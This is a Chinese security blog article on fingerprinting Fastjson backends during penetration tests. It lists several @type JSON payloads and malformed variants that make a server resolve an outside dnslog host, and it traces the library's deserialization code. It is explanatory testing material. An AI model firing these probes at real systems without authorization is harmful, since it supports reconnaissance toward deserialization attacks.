fast观测(fasttest)

Fastjson探测作用

在渗透测试中遇到json数据一般都会测试下有没有反序列化,然而JSON库有Fastjson,JackJson,Gson等等,那么怎么判断后端不是Fastjson呢?可以构造特定的payload来进行探测分析,下面介绍一些常用的payload,且这些Payload可以在AutoType关闭的情况下进行测试~~~

Fastjson探测方法

方法一:java.net.Inet4Address
请求方式
{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog\\\"}

DNSLog响应

fast观测(fasttest)

基础原理分析

Fastjson对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化:

fast观测(fasttest)

之后在MiscCodec的deserialze下断点进行调试分析:

fast观测(fasttest)

之后跟进parse.parser,此处的parser为DefaultJSONParser:

fast观测(fasttest)

之后跟进解析器:

fast观测(fasttest)

之后再次跟进去看看字符串如何处理:

fast观测(fasttest)

之后进行一次字符串的截取:

fast观测(fasttest)

截取之后,截取到DNSlog域名信息:

fast观测(fasttest)

之后将objVal赋值给strVal,其值为DNSLog域名

fast观测(fasttest)

之后会调用GetByName进行一次域名解析:

fast观测(fasttest)

MiscCodec的deserialze函数代码如下所示:

    public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {        JSONLexer lexer = parser.lexer;        String className;        if (clazz == InetSocketAddress.class) {            if (lexer.token() == 8) {                lexer.nextToken();                return null;            } else {                parser.accept(12);                InetAddress address = null;                int port = 0;
while(true) { className = lexer.stringVal(); lexer.nextToken(17); if (className.equals(\\\"address\\\")) { parser.accept(17); address = (InetAddress)parser.parseObject(InetAddress.class); } else if (className.equals(\\\"port\\\")) { parser.accept(17); if (lexer.token() != 2) { throw new JSONException(\\\"port is not int\\\"); }
port = lexer.intValue(); lexer.nextToken(); } else { parser.accept(17); parser.parse(); }
if (lexer.token() != 16) { parser.accept(13); return new InetSocketAddress(address, port); }
lexer.nextToken(); } } } else { Object objVal; if (parser.resolveStatus == 2) { parser.resolveStatus = 0; parser.accept(16); if (lexer.token() != 4) { throw new JSONException(\\\"syntax error\\\"); }
if (!\\\"val\\\".equals(lexer.stringVal())) { throw new JSONException(\\\"syntax error\\\"); }
lexer.nextToken(); parser.accept(17); objVal = parser.parse(); parser.accept(13); } else { objVal = parser.parse(); }
String strVal; if (objVal == null) { strVal = null; } else { if (!(objVal instanceof String)) { if (objVal instanceof JSONObject) { JSONObject jsonObject = (JSONObject)objVal; if (clazz == Currency.class) { String currency = jsonObject.getString(\\\"currency\\\"); if (currency != null) { return Currency.getInstance(currency); }
String symbol = jsonObject.getString(\\\"currencyCode\\\"); if (symbol != null) { return Currency.getInstance(symbol); } }
if (clazz == Entry.class) { return jsonObject.entrySet().iterator().next(); }
return jsonObject.toJavaObject(clazz); }
throw new JSONException(\\\"expect string\\\"); }
strVal = (String)objVal; }
if (strVal != null && strVal.length() != 0) { if (clazz == UUID.class) { return UUID.fromString(strVal); } else if (clazz == URI.class) { return URI.create(strVal); } else if (clazz == URL.class) { try { return new URL(strVal); } catch (MalformedURLException var10) { throw new JSONException(\\\"create url error\\\", var10); } } else if (clazz == Pattern.class) { return Pattern.compile(strVal); } else if (clazz == Locale.class) { return TypeUtils.toLocale(strVal); } else if (clazz == SimpleDateFormat.class) { SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale()); dateFormat.setTimeZone(lexer.getTimeZone()); return dateFormat; } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { if (clazz == File.class) { if (strVal.indexOf(\\\"..\\\") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) { throw new JSONException(\\\"file relative path not support.\\\"); } else { return new File(strVal); } } else if (clazz == TimeZone.class) { return TimeZone.getTimeZone(strVal); } else { if (clazz instanceof ParameterizedType) { ParameterizedType parmeterizedType = (ParameterizedType)clazz; clazz = parmeterizedType.getRawType(); }
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false); } else if (clazz == Charset.class) { return Charset.forName(strVal); } else if (clazz == Currency.class) { return Currency.getInstance(strVal); } else if (clazz == JSONPath.class) { return new JSONPath(strVal); } else if (!(clazz instanceof Class)) { throw new JSONException(\\\"MiscCodec not support \\\" + clazz.toString()); } else { className = ((Class)clazz).getName(); if (className.equals(\\\"java.nio.file.Path\\\")) { try { if (method_paths_get == null && !method_paths_get_error) { Class<?> paths = TypeUtils.loadClass(\\\"java.nio.file.Paths\\\"); method_paths_get = paths.getMethod(\\\"get\\\", String.class, String[].class); }
if (method_paths_get != null) { return method_paths_get.invoke((Object)null, strVal, new String[0]); }
throw new JSONException(\\\"Path deserialize erorr\\\"); } catch (NoSuchMethodException var12) { method_paths_get_error = true; } catch (IllegalAccessException var13) { throw new JSONException(\\\"Path deserialize erorr\\\", var13); } catch (InvocationTargetException var14) { throw new JSONException(\\\"Path deserialize erorr\\\", var14); } }
throw new JSONException(\\\"MiscCodec not support \\\" + className); } } } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException(\\\"deserialize inet adress error\\\", var11); } } } else { return null; } } }
方法二:java.net.Inet6Address
请求方式
{\\\"@type\\\":\\\"java.net.Inet6Address\\\",\\\"val\\\":\\\"dnslog\\\"}

请求测试

fast观测(fasttest)

DNSLog响应

fast观测(fasttest)

基础原理分析

java.net.Inet6Address与java.net.Inet4Address类似,使用了MiscCodec这个ObjectDeserializer来反序列化,其余的内容就不再复述了~

fast观测(fasttest)

方式三:java.net.InetSocketAddress
请求方式
{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog\\\"}}

请求测试

fast观测(fasttest)

DNSLog响应

fast观测(fasttest)

基础原理分析

java.net.InetSocketAddress与java.net.Inet4Address类似,会使用MiscCodec的ObjectDeserializer来反序列化,由于此处的畸形JSON请求数据在解析时会有两次进入deserialze(这与Fastjson的Token性质有关,从而导致解析的逻辑走向发生变化,有兴趣的可以了解一下)第一次进入是clazz为:java.net.InetJSONParser:

fast观测(fasttest)

第二次时为java.net.InetAddress:

fast观测(fasttest)

之后将objVal赋值给strVal:

fast观测(fasttest)

最后触发DNS解析:

fast观测(fasttest)

方式四:java.net.URL
请求方式
{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}:\\\"x\\\"}

请求测试

fast观测(fasttest)

DNSLog响应

fast观测(fasttest)

其他方式使用示例
畸形方式1
{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\", {\\\"@type\\\": \\\"java.net.URL\\\", \\\"val\\\":\\\"http://dnslog\\\"}}\\\"\\\"}

请求测试:

fast观测(fasttest)

DNSLog响应:

fast观测(fasttest)

畸形方式2

Set[{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}]

请求方式:

fast观测(fasttest)

DNSLog响应:

fast观测(fasttest)

畸形方式3

Set[{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}

请求方式:

fast观测(fasttest)

DNSLog响应:

fast观测(fasttest)

畸形方式4

{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}:0

请求方式:

fast观测(fasttest)

DNSLog响应:

fast观测(fasttest)

畸形方式5

{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"dnslog\\\"}:\\\"aaa\\\"}

请求方式:

DNSLog响应:

Fastjson特性利用

Java 系 Json 处理基本只有 Fastjson 和 Jackson, 由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson,如果请求包中的 json 如下:

{\\\"name\\\":\\\"S\\\", \\\"age\\\":21}

追加一个随机 key ,修改 json 为

{\\\"name\\\":\\\"S\\\", \\\"age\\\":21,\\\"agsbdkjada__ss_d\\\":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key, 所以会报错,服务器的响应包中多少会有异常回显~

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34142.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月16日 上午9:38
下一篇 2024年4月16日 上午9:40

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注